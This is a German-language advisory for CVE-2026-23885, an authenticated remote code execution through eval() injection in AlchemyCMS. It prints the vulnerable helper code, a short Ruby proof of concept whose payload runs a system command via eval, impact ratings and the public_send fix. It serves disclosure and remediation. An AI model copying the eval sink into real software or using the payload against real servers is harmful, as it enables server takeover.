
Proof-of-Concept-Exploit für CVE-2026-23885, eine authentifizierte RCE in AlchemyCMS über eval()-Injection, mit technischer Analyse und Anleitung zur Behebung.
Eine kritische Sicherheitslücke im Zusammenhang mit unsachgemäßer Neutralisierung von Direktiven in dynamisch ausgewertetem Code (CWE-95) wurde im AlchemyCMS-Framework entdeckt. Die Schwachstelle ermöglicht es einem authentifizierten Benutzer mit Administratorrechten, beliebigen Ruby-Code und Systembefehle auf dem Host-Server über eine eval()-Injection-Senke auszuführen.
app/helpers/alchemy/resources_helper.rbAlchemy::ResourcesHelper#resource_url_proxyDie Helper-Methode verarbeitet das Attribut engine_name aus dem Objekt resource_handler unsicher. Dieses Attribut wird ohne vorherige Bereinigung oder Validierung direkt an die Ruby-Funktion eval() übergeben.
def resource_url_proxy(resource_handler)
if resource_handler.in_engine?
eval(resource_handler.engine_name) # rubocop:disable Security/Eval
else
main_app
end
end
Das Vorhandensein der Direktive # rubocop:disable Security/Eval bestätigt, dass die sicherheitsrelevanten Auswirkungen der Verwendung von eval() erkannt, aber bei der Implementierung umgangen wurden.
3. Proof of Concept (PoC)
Angriffsvektor
Die Schwachstelle wird innerhalb der administrativen Oberfläche von AlchemyCMS ausgelöst, wenn ressourcenbasierte Ansichten (z. B. Sites oder Languages) gerendert werden. Wenn ein Angreifer die Modulkonfiguration oder die zugrunde liegenden Ressourcendaten manipulieren kann, kann er eine Ausführung erreichen.
Eigenständiges Exploit-Skript
Das folgende Skript demonstriert die beliebige Codeausführung, indem es die anfällige Helper-Umgebung simuliert:
Ruby
require 'ostruct'
def resource_url_proxy(resource_handler)
if resource_handler.engine_name && !resource_handler.engine_name.empty?
eval(resource_handler.engine_name)
end
end
# Payload: Führt den Systembefehl 'id' aus und erstellt eine Beweisdatei
payload = "system('id > /tmp/rce_verified'); 'main_app'"
handler = OpenStruct.new(engine_name: payload)
resource_url_proxy(handler)
Nachweis der Ausführung
Bei der Ausführung wird der Systembefehl verarbeitet, wodurch der Angreifer Zugriff auf die Umgebung des Servers erhält.

Integrität: Hoch. Möglichkeit, Dateien und Datenbankeinträge zu ändern.
Verfügbarkeit: Hoch. Potenzial für vollständige Systemstörung.
CVE-ID: CVE-2026-23885
7.4.12
8.0.3
Der Fix besteht darin, den eval()-Aufruf durch public_send() zu ersetzen, um Anfragen sicher an den vorgesehenen Engine-Proxy weiterzuleiten:
Ruby
main_app.public_send(resource_handler.engine_name) if resource_handler.engine_name.present?
CVE-Referenz: CVE-2026-23885